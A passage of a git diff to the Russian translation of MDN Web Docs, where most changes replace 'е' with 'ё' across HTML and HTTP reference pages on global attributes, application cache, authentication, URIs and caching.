0 до 9, звёздочку ("*"), и решетку ("#"). Поля ввода форм, что имеют обязательное поле номера телефона должны использовать <code><a href="/en-US/docs/Web/HTML/Element/input/tel"><input type="tel"></a></code>.</dd> + <dd>Раскладка для ввода номера телефона, включая числа от 0 до 9, звёздочку ("*"), и решётку ("#"). Поля ввода форм, что имеют обязательное поле номера телефона должны использовать <code><a href="/en-US/docs/Web/HTML/Element/input/tel"><input type="tel"></a></code>.</dd> <dt><code>search</code></dt> <dd>Виртуальная клавиатура, оптимизированная для работы с поиском. Например, кнопка ввода может быть заменена на "Поиск", и др.</dd> <dt><code>email</code></dt> diff --git a/files/ru/web/html/global_attributes/is/index.html b/files/ru/web/html/global_attributes/is/index.html index a80c1772d1..c62892e64c 100644 --- a/files/ru/web/html/global_attributes/is/index.html +++ b/files/ru/web/html/global_attributes/is/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Global_attributes/is --- <div>{{HTMLSidebar("Global_attributes")}}</div> -<p><span class="seoSummary"><a href="/en-US/docs/Web/HTML/Global_attributes">Глобальный атрибут </a> <strong><code>is</code></strong> позволяет указать, что стандартный HTML-элемент должен вести себя как определенный пользовательский встроенный элемент (см <a href="/en-US/docs/Web/Web_Components/Using_custom_elements">Using custom elements</a> для информации).</span></p> +<p><span class="seoSummary"><a href="/en-US/docs/Web/HTML/Global_attributes">Глобальный атрибут </a> <strong><code>is</code></strong> позволяет указать, что стандартный HTML-элемент должен вести себя как определённый пользовательский встроенный элемент (см <a href="/en-US/docs/Web/Web_Components/Using_custom_elements">Using custom elements</a> для информации).</span></p> <p>Этот атрибут может быть использован только, если указанное имя пользовательского элемента было успешно <a href="/en-US/docs/Web/API/CustomElementRegistry/define">определено</a> в текущем документе и расширяет тип элемента, к которому оно применяется.</p> diff --git a/files/ru/web/html/global_attributes/lang/index.html b/files/ru/web/html/global_attributes/lang/index.html index 2ccedf5e04..13a25e31f6 100644 --- a/files/ru/web/html/global_attributes/lang/index.html +++ b/files/ru/web/html/global_attributes/lang/index.html @@ -7,7 +7,7 @@ translation_of: Web/HTML/Global_attributes/lang --- <div>{{HTMLSidebar("Global_attributes")}}</div> -<p><a href="https://wiki.developer.mozilla.org/ru/docs/Web/HTML/Global_attributes">Глобальный атрибут</a> <code>lang</code> помогает определить язык элемента: язык, на котором написаны нередактируемые элементы, или язык, на котором пользователем должны быть написаны редактируемые элементы. Атрибут содержит единственный “языковой тег” (<code>language tag</code>) в формате, определенном в <em><a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt">Tags for Identifying Languages (BCP47)</a>.</em></p> +<p><a href="https://wiki.developer.mozilla.org/ru/docs/Web/HTML/Global_attributes">Глобальный атрибут</a> <code>lang</code> помогает определить язык элемента: язык, на котором написаны нередактируемые элементы, или язык, на котором пользователем должны быть написаны редактируемые элементы. Атрибут содержит единственный “языковой тег” (<code>language tag</code>) в формате, определённом в <em><a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt">Tags for Identifying Languages (BCP47)</a>.</em></p> <div>{{EmbedInteractiveExample("pages/tabbed/attribute-lang.html","tabbed-shorter")}}</div> @@ -20,15 +20,15 @@ translation_of: Web/HTML/Global_attributes/lang <p>Подробный синтаксис BCP47 достаточно подробен, чтобы отмечать специфичные языковые диалекты, но в большинстве случаев его использование намного проще. </p> -<p>Языковой тег состоит из <em>языковых вложенных тегов</em>, разделенных дефисом, где каждый вложенный тег указывает на определенное свойство языка. 3 наиболее распространенных вложенных тега:</p> +<p>Языковой тег состоит из <em>языковых вложенных тегов</em>, разделённых дефисом, где каждый вложенный тег указывает на определённое свойство языка. 3 наиболее распространённых вложенных тега:</p> <dl> <dt>Языковой подтег</dt> - <dd>Обязателен. Двух-или-трех-символьный код, определяющий базовый язык, обычно записываемый в нижнем регистре. К примеру, код английского языка является <code>en</code>, а для Бадеши — <code>bdz</code>. </dd> + <dd>Обязателен. Двух-или-трёх-символьный код, определяющий базовый язык, обычно записываемый в нижнем регистре. К примеру, код английского языка является <code>en</code>, а для Бадеши — <code>bdz</code>. </dd> <dt>Подтег скрипта</dt> <dd>Необязателен. Данный подтег определяет систему записи, и всегда состоящий из 4 символов с первой заглавной буквой. К примеру, французский язык Брайля — это <code>fr-Brai</code>, а <code>ja-Kana</code> — это японский язык, написанный с использованием алфавита Катакана (Katakana). Если язык написан типичным способом, например, английский с латинским алфавитом, нет необходимости использовать данный подтег.</dd> <dt>Подтег региона</dt> - <dd>Необязателен. Данный подтег определяет диалект основного языка из определенного места и состоит из двух букв в ALLCAPS, соответствующих коду страны, или трех цифр, соответствующих региону, который не относится к стране. К примеру, <code>es-ES</code> — это испанский язык, на котором разговаривают в Испании, а <code>es-013</code> означает испанский язык, на котором разговаривают в Центральной Америке. “Международный испанский” было бы просто <code>es</code>.</dd> + <dd>Необязателен. Данный подтег определяет диалект основного языка из определённого места и состоит из двух букв в ALLCAPS, соответствующих коду страны, или трёх цифр, соответствующих региону, который не относится к стране. К примеру, <code>es-ES</code> — это испанский язык, на котором разговаривают в Испании, а <code>es-013</code> означает испанский язык, на котором разговаривают в Центральной Америке. “Международный испанский” было бы просто <code>es</code>.</dd> </dl> <p>Подтег скрипта предшествует подтегу региона, если присутствуют оба тега — <code>ru-Cyrl-BY</code> — это русский язык, написанный кириллицей, на котором разговаривают в Беларуси. </p> diff --git a/files/ru/web/html/index.html b/files/ru/web/html/index.html index 6c7cd93452..c5e2c55066 100644 --- a/files/ru/web/html/index.html +++ b/files/ru/web/html/index.html @@ -21,7 +21,7 @@ translation_of: Web/HTML <p>HTML использует разметку ("markup") для отображения текста, изображений и другого контента в веб-браузере. HTML-разметка включает в себя специальные "элементы", такие как {{HTMLElement("head")}}, {{HTMLElement("title")}}, {{HTMLElement("body")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("p")}}, {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("img")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("datalist")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("nav")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("video")}} и многие другие.</p> -<p>HTML-элемент выделяется из прочего текста в документе с помощью "{{glossary("tag", "тегов")}}", которые состоят из имени элемента окруженного "<code><</code>" и "<code>></code>". Имя элемента внутри тега не чувствительно к регистру. То есть, оно может быть написано в верхнем или нижнем регистре, или смешано. Например, тег <code><title></code> может быть записан как <code><Title></code>, <code><TITLE></code>, или любым другим способом.</p> +<p>HTML-элемент выделяется из прочего текста в документе с помощью "{{glossary("tag", "тегов")}}", которые состоят из имени элемента окружённого "<code><</code>" и "<code>></code>". Имя элемента внутри тега не чувствительно к регистру. То есть, оно может быть написано в верхнем или нижнем регистре, или смешано. Например, тег <code><title></code> может быть записан как <code><Title></code>, <code><TITLE></code>, или любым другим способом.</p> <p>Статьи, представленные ниже, могут помочь вам больше узнать о HTML.</p> @@ -35,7 +35,7 @@ translation_of: Web/HTML <p>Статьи о том, как использовать HTML, а также обучающие материалы и исчерпывающие примеры можно найти в разделе "<a href="/ru/docs/Learn/HTML">Пространство изучения HTML</a>".</p> </li> <li><span>Справка по HTML</span> - <p>В нашем обширном разделе "<a href="/ru/docs/Web/HTML/Ссылки">Справка по HTML</a>" вы найдете подробности о каждом элементе и атрибуте в HTML.</p> + <p>В нашем обширном разделе "<a href="/ru/docs/Web/HTML/Ссылки">Справка по HTML</a>" вы найдёте подробности о каждом элементе и атрибуте в HTML.</p> </li> </ul> @@ -54,21 +54,21 @@ translation_of: Web/HTML <dd>Представление табличных данных на веб-странице в понятной, доступной форме может быть проблемой. Этот модуль охватывает базовую разметку таблиц, а также более сложные особенности, такие как добавление заголовков и описаний.</dd> <dt><a href="/ru/docs/Learn/HTML/Forms">HTML-формы</a></dt> <dd>Формы являются очень важной частью Веба — они предоставляют большую часть функционала, необходимого для взаимодействия с веб-сайтами, например регистрация и вход в систему, отправка отзывов, покупка товаров, и многое другое. Этот модуль познакомит вас с созданием клиентских (client-side/front-end) частей форм.</dd> - <dt><a href="/ru/docs/Learn/HTML/Рецепты">Используйте HTML для решения распространенных задач.</a></dt> - <dd>Содержит ссылки на разделы, объясняющие как использовать HTML для решения самых распространенных задач при создании веб-страницы: работа с заголовками, добавление изображений или видео, выделение контента, создание простой формы и т.д.</dd> + <dt><a href="/ru/docs/Learn/HTML/Рецепты">Используйте HTML для решения распространённых задач.</a></dt> + <dd>Содержит ссылки на разделы, объясняющие как использовать HTML для решения самых распространённых задач при создании веб-страницы: работа с заголовками, добавление изображений или видео, выделение контента, создание простой формы и т.д.</dd> </dl> <h2 id="Продвинутые_темы">Продвинутые темы</h2> <dl> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS: включенные изображения</a></dt> - <dd class="landingPageList">Атрибут {{htmlattrxref("crossorigin", "img")}} в сочетании с соответствующим заголовком {{glossary("CORS")}}, позволяет загружать изображения, определенные элементом {{HTMLElement("img")}}, из внешних источников и использовать в элементе {{HTMLElement("canvas")}}, как если бы они были загружены из текущего источника.</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS: включённые изображения</a></dt> + <dd class="landingPageList">Атрибут {{htmlattrxref("crossorigin", "img")}} в сочетании с соответствующим заголовком {{glossary("CORS")}}, позволяет загружать изображения, определённые элементом {{HTMLElement("img")}}, из внешних источников и использовать в элементе {{HTMLElement("canvas")}}, как если бы они были загружены из текущего источника.</dd> <dt class="landingPageList"><a href="/ru/docs/Web/HTML/CORS_settings_attributes">CORS: Настройки атрибутов</a></dt> <dd class="landingPageList">Некоторые HTML-элементы, предоставляющие поддержку <a href="/ru/docs/Web/HTTP/CORS">CORS</a>, такие как {{HTMLElement("img")}} или {{HTMLElement("video")}}, имеют атрибут <code>crossorigin</code> (свойство <code>crossOrigin</code>), который позволяет вам настраивать CORS-запросы для получаемых элементом данных.</dd> <dt class="landingPageList"><a href="/ru/docs/Web/API/Document/hasFocus">Управление фокусом в HTML</a></dt> <dd class="landingPageList">DOM-Атрибут <code><a href="/en-US/docs/Web/API/Document/activeElement">activeElement</a></code> и DOM-метод <code><a href="/ru/docs/Web/API/Document/hasFocus">hasFocus()</a></code> помогают отслеживать и контролировать взаимодействие пользователя с элементами на веб-странице.</dd> <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Preloading_content">Предварительная загрузка контента с помощью rel="preload"</a></dt> - <dd class="landingPageList">Значение <code>preload</code> атрибута {{htmlattrxref("rel", "link")}} элемента {{htmlelement("link")}} позволяет писать декларативные <a href="/ru/docs/Web/API/Fetch_API/Using_Fetch">fetch-запросы</a> в HTML {{htmlelement("head")}}, указывая ресурсы, которые потребуются вашим страницам сразу после загрузки и, следовательно, которые вы хотите начать предварительно загружать на раннем этапе жизненного цикла страницы, прежде чем браузером запустится основной механизм рендеринга (отрисовки). Это гарантирует, что они станут доступными раньше и с меньшей вероятностью заблокируют первый рендеринг страницы, что приведет к улучшению производительности. В этой статье приведено начальное руководство по работе с <code>preload</code> (предзагрузкой).</dd> + <dd class="landingPageList">Значение <code>preload</code> атрибута {{htmlattrxref("rel", "link")}} элемента {{htmlelement("link")}} позволяет писать декларативные <a href="/ru/docs/Web/API/Fetch_API/Using_Fetch">fetch-запросы</a> в HTML {{htmlelement("head")}}, указывая ресурсы, которые потребуются вашим страницам сразу после загрузки и, следовательно, которые вы хотите начать предварительно загружать на раннем этапе жизненного цикла страницы, прежде чем браузером запустится основной механизм рендеринга (отрисовки). Это гарантирует, что они станут доступными раньше и с меньшей вероятностью заблокируют первый рендеринг страницы, что приведёт к улучшению производительности. В этой статье приведено начальное руководство по работе с <code>preload</code> (предзагрузкой).</dd> </dl> </div> @@ -77,7 +77,7 @@ translation_of: Web/HTML <dl> <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Ссылки">Справка по HTML</a></dt> - <dd class="landingPageList">HTML состоит из <strong>элементов</strong>, каждый из которых может быть изменен некоторым количеством <strong>атрибутов</strong>. HTML-документы связаны между собой <a href="/ru/docs/Web/HTML/Типы_ссылок">ссылками</a>.</dd> + <dd class="landingPageList">HTML состоит из <strong>элементов</strong>, каждый из которых может быть изменён некоторым количеством <strong>атрибутов</strong>. HTML-документы связаны между собой <a href="/ru/docs/Web/HTML/Типы_ссылок">ссылками</a>.</dd> <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Element">Справка по HTML-элементам</a></dt> <dd class="landingPageList">Просмотр списка всех {{glossary("Element", "элементов")}} {{glossary("HTML")}}.</dd> <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Attributes">Справка по HTML-атрибутам</a></dt> @@ -91,7 +91,7 @@ translation_of: Web/HTML <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Поддерживаемые_медиа_форматы">Поддержка медиа-форматов с помощью HTML-элементов audio и video</a></dt> <dd class="landingPageList">Элементы {{HTMLElement("audio")}} и {{HTMLElement("video")}} позволяют вам воспроизводить аудио и видео. Эти элементы предоставляют браузерную альтернативу аналогичным возможностям, которые есть в Adobe Flash и других плагинах.</dd> <dt class="landingPageList"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Виды HTML-контента</a></dt> - <dd class="landingPageList">HTML состоит из нескольких видов контента, каждый из которых разрешено использовать в определенных контекстах и запрещено в других. Так же, у каждого есть набор других категорий контента, которые они могут содержать, и элементы, которые могут или не могут использоваться в них. Это руководство по таким категориям.</dd> + <dd class="landingPageList">HTML состоит из нескольких видов контента, каждый из которых разрешено использовать в определённых контекстах и запрещено в других. Так же, у каждого есть набор других категорий контента, которые они могут содержать, и элементы, которые могут или не могут использоваться в них. Это руководство по таким категориям.</dd> <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">Режим совместимости и стандартный режим</a></dt> <dd class="landingPageList">Историческая справка по режиму совместимости и стандартному режиму.</dd> </dl> diff --git a/files/ru/web/html/inline_elements/index.html b/files/ru/web/html/inline_elements/index.html index 86db377c64..5fa033a73e 100644 --- a/files/ru/web/html/inline_elements/index.html +++ b/files/ru/web/html/inline_elements/index.html @@ -16,7 +16,7 @@ original_slug: Web/HTML/Строчные_Элементы <h3 id="HTML">HTML</h3> -<pre class="brush: html"><p>Этот элемент <span>span</span> строчный; цвет его фона изменен, чтобы показать начало и конец элемента.</p></pre> +<pre class="brush: html"><p>Этот элемент <span>span</span> строчный; цвет его фона изменён, чтобы показать начало и конец элемента.</p></pre> <h3 id="CSS">CSS</h3> diff --git a/files/ru/web/html/using_the_application_cache/index.html b/files/ru/web/html/using_the_application_cache/index.html index 2ed99d36b9..89a4a71d52 100644 --- a/files/ru/web/html/using_the_application_cache/index.html +++ b/files/ru/web/html/using_the_application_cache/index.html @@ -35,11 +35,11 @@ original_slug: Web/HTML/Использование_кэширования_при </ul> <p>Ниже приведено более подробное описание процесса загрузки документов и обновления кэша приложения:</p> <ol> - <li>Когда браузер посещает страницу со включенным атрибутом <code>manifest</code> и кэша приложения не существует, браузер загружает документ, а затем получает все пункты файла манифеста, создавая тем самым первую версию кэша приложения.</li> + <li>Когда браузер посещает страницу со включённым атрибутом <code>manifest</code> и кэша приложения не существует, браузер загружает документ, а затем получает все пункты файла манифеста, создавая тем самым первую версию кэша приложения.</li> <li>Последующие посещения данной страницы приводят к загрузке документа и других ресурсов, указанных в файле манифеста, уже из кэша приложения (не с сервера). К тому же браузер также посылает событие <code>checking</code> объекту <code><a href="/en-US/docs/DOM/window.applicationCache" title="DOM/window.applicationCache">window.applicationCache</a></code> и получает файл манифеста в соответствии с правилами кэширования HTTP.</li> <li>Если текущая закешированная копия манифеста совпадает со скачанной, браузер посылает событие <code>noupdate</code> объекту <code>applicationCache</code>, завершая процесс обновления. Обратите внимание, если вы изменили закешированные ресурсы на стороне сервера, вам также необходимо изменить и файл манифеста, тем самым давая браузеру знать, какие из ресурсов нужно получить повторно.</li> <li>Если файл манифеста изменился, то все перечисленные в нём файлы, так же, как и добавленные в кэш с помощью вызова <code><a href="/en-US/docs/nsIDOMOfflineResourceList#add.28.29" title="nsIDOMOfflineResourceList#add.28.29">applicationCache.add()</a></code>, попадают во временный кэш с учётом правил кэширования HTTP. Во время обновления каждого файла в этом временном кэше браузер посылает событие <code>progress</code> объекту <code>applicationCache</code>. Если происходит ошибка, браузер посылает событие <code>error</code>, а обновление прекращается.</li> - <li>Как только успешно получены все файлы, они автоматически отправляются в настоящий оффлайн-кэш, а объекту <code>applicationCache</code> посылается событие <code>cached</code>. Поскольку документ уже был загружен в браузер из кэша, обновленный документ не перерисуется, пока страница не будет перезагружена (неважно как, вручную или программно).</li> + <li>Как только успешно получены все файлы, они автоматически отправляются в настоящий оффлайн-кэш, а объекту <code>applicationCache</code> посылается событие <code>cached</code>. Поскольку документ уже был загружен в браузер из кэша, обновлённый документ не перерисуется, пока страница не будет перезагружена (неважно как, вручную или программно).</li> </ol> <h2 id="Место_хранения_и_очистка_оффлайн-кэша">Место хранения и очистка оффлайн-кэша</h2> <p>В Chrome оффлайн-кэш можно очистить, выбрав «Очистить историю...» в настройках или перейдя на адрес <a title="chrome://appcache-internals/">chrome://appcache-internals/</a>. У Safari также есть похожий пункт «Очистить кэш» в настройках, но для этого также может понадобиться перезапуск браузера.</p> diff --git a/files/ru/web/http/authentication/index.html b/files/ru/web/http/authentication/index.html index 8896a66039..4455fff42a 100644 --- a/files/ru/web/http/authentication/index.html +++ b/files/ru/web/http/authentication/index.html @@ -10,7 +10,7 @@ original_slug: Web/HTTP/Авторизация --- <div>{{HTTPSidebar}}</div> -<p class="summary">HTTP предоставляет набор инструментов для разграничения доступа к ресурсам и авторизацией. Самой распространенной схемой HTTP авторизации является "Basic" (базовая) авторизация. Данное руководство описывает основные возможности HTTP авторизации и показывает способы ограничения доступа к вашему серверу с ее использованием.</p> +<p class="summary">HTTP предоставляет набор инструментов для разграничения доступа к ресурсам и авторизацией. Самой распространённой схемой HTTP авторизации является "Basic" (базовая) авторизация. Данное руководство описывает основные возможности HTTP авторизации и показывает способы ограничения доступа к вашему серверу с её использованием.</p> <h2 id="Общий_механизм_HTTP_авторизации">Общий механизм HTTP авторизации</h2> @@ -24,9 +24,9 @@ original_slug: Web/HTTP/Авторизация <p>Этот же механизм запроса и ответа может быть использован для <em>прокси-авторизации</em>. В таком случае ответ посылает промежуточный прокси-сервер, который требует авторизации. Поскольку обе формы авторизации могут использоваться одновременно, для них используются разные заголовки и коды статуса ответа. В случае с <em>прокси</em>, статус-код запроса {{HTTPStatus("407")}} (Proxy Authentication Required) и заголовок {{HTTPHeader("Proxy-Authenticate")}}, который содержит хотя бы один запрос, относящийся к прокси-авторизации, а для передачи авторизационных данных прокси-серверу используется заголовок {{HTTPHeader("Proxy-Authorization")}}.</p> -<h3 id="Доступ_запрещен">Доступ запрещен</h3> +<h3 id="Доступ_запрещён">Доступ запрещён</h3> -<p>Если (прокси) сервер получает корректные учетные данные, но они не подходят для доступа к данному ресурсу, сервер должен отправить ответ со статус кодом {{HTTPStatus("403")}} <code>Forbidden</code>. В отличии от статус кода {{HTTPStatus("401")}} <code>Unauthorized</code> или {{HTTPStatus("407")}} <code>Proxy Authentication Required</code>, аутентификация для этого пользователя не возможна.</p> +<p>Если (прокси) сервер получает корректные учётные данные, но они не подходят для доступа к данному ресурсу, сервер должен отправить ответ со статус кодом {{HTTPStatus("403")}} <code>Forbidden</code>. В отличии от статус кода {{HTTPStatus("401")}} <code>Unauthorized</code> или {{HTTPStatus("407")}} <code>Proxy Authentication Required</code>, аутентификация для этого пользователя не возможна.</p> <h3 id="Аутентификация_с_помощью_изображений">Аутентификация с помощью изображений</h3> diff --git a/files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html b/files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html index debd21c8bf..279ebe5439 100644 --- a/files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html +++ b/files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html @@ -140,14 +140,14 @@ urn:ietf:rfc:7230 <dl> <dt><img alt="Parameters" src="https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png" style="height: 70px; width: 440px;"></dt> - <dd><code>?key1=value1&key2=value2</code> - это дополнительные параметры, предоставляемые Веб-серверу. Это список пар "ключ=значение", разделенных символом <code>&</code> . Веб-сервер может использовать эти параметры как дополнительные инструкции, что именно сделать с ресурсом перед отправкой его пользователю. Каждый Веб-сервер имеет свои правила насчет параметров, и единственный надежный способ узнать как конкретный Веб-сервер обрабатывает эти параметры - это спросить того, кто контролирует Веб-сервер.</dd> + <dd><code>?key1=value1&key2=value2</code> - это дополнительные параметры, предоставляемые Веб-серверу. Это список пар "ключ=значение", разделённых символом <code>&</code> . Веб-сервер может использовать эти параметры как дополнительные инструкции, что именно сделать с ресурсом перед отправкой его пользователю. Каждый Веб-сервер имеет свои правила насчёт параметров, и единственный надёжный способ узнать как конкретный Веб-сервер обрабатывает эти параметры - это спросить того, кто контролирует Веб-сервер.</dd> </dl> <h3 id="Фрагмент">Фрагмент</h3> <dl> <dt><img alt="Anchor" src="https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png" style="height: 70px; width: 440px;"></dt> - <dd><code>#SomewhereInTheDocument</code> - это "якорь" на другую часть ресурса. Якорь представляет собой что-то вроде "закладки" внутри ресурса, давая браузеру указание показать содержимое с определенного места. В HTML-документе, к примеру, браузер будет скроллить к точке где якорь определён, а на аудио/видео-документе браузер попытается перейти на время, указанное в якоре. Важно что часть, начинающаяся с # - никогда не пересылается серверу в запросе.</dd> + <dd><code>#SomewhereInTheDocument</code> - это "якорь" на другую часть ресурса. Якорь представляет собой что-то вроде "закладки" внутри ресурса, давая браузеру указание показать содержимое с определённого места. В HTML-документе, к примеру, браузер будет скроллить к точке где якорь определён, а на аудио/видео-документе браузер попытается перейти на время, указанное в якоре. Важно что часть, начинающаяся с # - никогда не пересылается серверу в запросе.</dd> </dl> <h2 id="Заметки_по_использованию">Заметки по использованию</h2> diff --git a/files/ru/web/http/basics_of_http/index.html b/files/ru/web/http/basics_of_http/index.html index 415e4b9a5d..6bc0c3bc46 100644 --- a/files/ru/web/http/basics_of_http/index.html +++ b/files/ru/web/http/basics_of_http/index.html @@ -10,7 +10,7 @@ translation_of: Web/HTTP/Basics_of_HTTP --- <div>{{HTTPSidebar}}</div> -<p>HTTP удобный расширяемый протокол. Он опирается на несколько базовых понятий, таких как: ресурсы и URI (унифицированный идентификатор ресурса), простая структура сообщений и технология "клиент-сервер" для общения. Помимо этих базовых концепций, за последние годы появилось множество расширений, добавляющих новые функциональные возможности и новую семантику путем создания новых HTTP-методов или заголовков.</p> +<p>HTTP удобный расширяемый протокол. Он опирается на несколько базовых понятий, таких как: ресурсы и URI (унифицированный идентификатор ресурса), простая структура сообщений и технология "клиент-сервер" для общения. Помимо этих базовых концепций, за последние годы появилось множество расширений, добавляющих новые функциональные возможности и новую семантику путём создания новых HTTP-методов или заголовков.</p> <h2 id="Статьи">Статьи</h2> @@ -20,7 +20,7 @@ translation_of: Web/HTTP/Basics_of_HTTP <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Эволюция HTTP</a></dt> <dd>HTTP был создан в начале 1990-х годов и несколько раз был расширен. Эта статья даёт обзор его истории и описывает HTTP/0.9, HTTP/1.0, HTTP/1.1, и современный HTTP/2, а также незначительные нововведения представленные в последние несколько лет.</dd> <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Negotiating_an_HTTP_version">Обсуждение версии HTTP</a></dt> - <dd>Описывает, как клиент и сервер могут договориться о конкретной версии HTTP и в конечном счете перейти на более новую версию протокола. </dd> + <dd>Описывает, как клиент и сервер могут договориться о конкретной версии HTTP и в конечном счёте перейти на более новую версию протокола. </dd> <dt><a href="/en-US/docs/Web/HTTP/Resources_and_URIs">Resources and URIs</a></dt> <dd>A brief introduction of the notion of resources, identifiers, and locations on the Web.</dd> <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifying resources on the Web</a></dt> diff --git a/files/ru/web/http/basics_of_http/mime_types/common_types/index.html b/files/ru/web/http/basics_of_http/mime_types/common_types/index.html index 1b9703c33d..7ed2a10da0 100644 --- a/files/ru/web/http/basics_of_http/mime_types/common_types/index.html +++ b/files/ru/web/http/basics_of_http/mime_types/common_types/index.html @@ -9,7 +9,7 @@ translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types --- <div>{{HTTPSidebar}}</div> -<div>Здесь представлен исчерпывающий список типов MIME, соотнесенных с типами документов и отсортированных по расширению.</div> +<div>Здесь представлен исчерпывающий список типов MIME, соотнесённых с типами документов и отсортированных по расширению.</div> <div></div> diff --git a/files/ru/web/http/caching/index.html b/files/ru/web/http/caching/index.html index 9e6efe7d3e..d292181c07 100644 --- a/files/ru/web/http/caching/index.html +++ b/files/ru/web/http/caching/index.html @@ -11,13 +11,13 @@ original_slug: Web/HTTP/Кэширование --- <div>{{HTTPSidebar}}</div> -<p><strong>Производительность веб-сайтов и приложений можно значительно повысить за счет повторного использования ранее полученных ресурсов. Веб-кеши сокращают задержку и снижают сетевой трафик, уменьшая тем самым время, необходимое для отображения ресурсов. Используя HTTP-кеширование, сайты становятся более отзывчивыми.</strong></p> +<p><strong>Производительность веб-сайтов и приложений можно значительно повысить за счёт повторного использования ранее полученных ресурсов. Веб-кеши сокращают задержку и снижают сетевой трафик, уменьшая тем самым время, необходимое для отображения ресурсов. Используя HTTP-кеширование, сайты становятся более отзывчивыми.</strong></p> <h2 id="Различные_виды_кеширования">Различные виды кеширования</h2> -<p>Техника кеширования заключается в сохранении копии полученного ресурса для возврата этой копии в ответ на дальнейшие запросы. Запрос на ресурс, уже имеющийся в веб-кеше, перехватывается, и вместо обращения к исходному серверу выполняется загрузка копии из кеша. Таким образом снижается нагрузка на сервер, которому не приходится самому обслуживать всех клиентов, и повышается производительность — кеш ближе к клиенту и ресурс передается быстрее. Кеширование является основным источником повышения производительности веб-сайтов. Однако, кеш надо правильно сконфигурировать: ресурсы редко остаются неизменными, так что копию требуется хранить только до того момента, как ресурс изменился, но не дольше.</p> +<p>Техника кеширования заключается в сохранении копии полученного ресурса для возврата этой копии в ответ на дальнейшие запросы. Запрос на ресурс, уже имеющийся в веб-кеше, перехватывается, и вместо обращения к исходному серверу выполняется загрузка копии из кеша. Таким образом снижается нагрузка на сервер, которому не приходится самому обслуживать всех клиентов, и повышается производительность — кеш ближе к клиенту и ресурс передаётся быстрее. Кеширование является основным источником повышения производительности веб-сайтов. Однако, кеш надо правильно сконфигурировать: ресурсы редко остаются неизменными, так что копию требуется хранить только до того момента, как ресурс изменился, но не дольше.</p> -<p>Существует несколько видов кешей, которые можно разделить на две основные категории: приватные кеши и кеши совместного использования. В кешах совместного использования (shared cache) хранятся копии, которые могут направляться разным пользователям. Приватный кеш (private cache) предназначен для отдельного пользователя. Здесь будет говориться в основном о кешах браузеров и прокси, но существуют также кеши шлюзов, CDN, реверсные прокси кеши и балансировщики нагрузки, разворачиваемые на серверах для повышения надежности, производительности и масштабируемости веб-сайтов и веб-приложений.</p> +<p>Существует несколько видов кешей, которые можно разделить на две основные категории: приватные кеши и кеши совместного использования. В кешах совместного использования (shared cache) хранятся копии, которые могут направляться разным пользователям. Приватный кеш (private cache) предназначен для отдельного пользователя. Здесь будет говориться в основном о кешах браузеров и прокси, но существуют также кеши шлюзов, CDN, реверсные прокси кеши и балансировщики нагрузки, разворачиваемые на серверах для повышения надёжности, производительности и масштабируемости веб-сайтов и веб-приложений.</p> <p><br> <br> @@ -27,7 +27,7 @@ original_slug: Web/HTTP/Кэширование <h3 id="Приватный_private_кеш_браузера">Приватный (private) кеш браузера</h3> -<p>Приватный кеш предназначен для отдельного пользователя. Вы, возможно, уже видели параметры кеширования в настройках своего браузера. Кеш браузера содержит все документы, загруженные пользователем по HTTP. Он используется для доступа к ранее загруженным страницам при навигации назад/вперед, позволяет сохранять страницы, или просматривать их код, не обращаясь лишний раз к серверу. Кроме того, кеш полезен при отключении от сети.</p> +<p>Приватный кеш предназначен для отдельного пользователя. Вы, возможно, уже видели параметры кеширования в настройках своего браузера. Кеш браузера содержит все документы, загруженные пользователем по HTTP. Он используется для доступа к ранее загруженным страницам при навигации назад/вперёд, позволяет сохранять страницы, или просматривать их код, не обращаясь лишний раз к серверу. Кроме того, кеш полезен при отключении от сети.</p> <h3 id="Общий_shared_прокси-кеш">Общий (shared) прокси-кеш</h3> @@ -35,7 +35,7 @@ original_slug: Web/HTTP/Кэширование <h2 id="Цели_кеширования">Цели кеширования</h2> -<p>Кеширование в HTTP не является обязательным, однако в большинстве случаев бывает полезно повторно использовать ранее сохраненные ресурсы. Тем не менее, стандартные кеши HTTP обычно способны кешировать только ответы на запросы методом {{HTTPMethod("GET")}}, а другие отклоняют.</p> +<p>Кеширование в HTTP не является обязательным, однако в большинстве случаев бывает полезно повторно использовать ранее сохранённые ресурсы. Тем не менее, стандартные кеши HTTP обычно способны кешировать только ответы на запросы методом {{HTTPMethod("GET")}}, а другие отклоняют.</p> <p>Первичный ключ состоит из метода запроса и запрашиваемого URI (зачастую используется только URI, поскольку целью кеширования являются только GET-запросы). Вот примеры того, что обычно записывается в кеш:</p> @@ -49,7 +49,7 @@ original_slug: Web/HTTP/Кэширование </li> </ul> -<p>Запись в кеше может также состоять из множества ответов, различаемых по вторичному ключу, если при формировании ответа производится согласование данных. Подробнее об этом рассказано <a href="#Varying_responses">ниже</a>, в разделе, посвященном 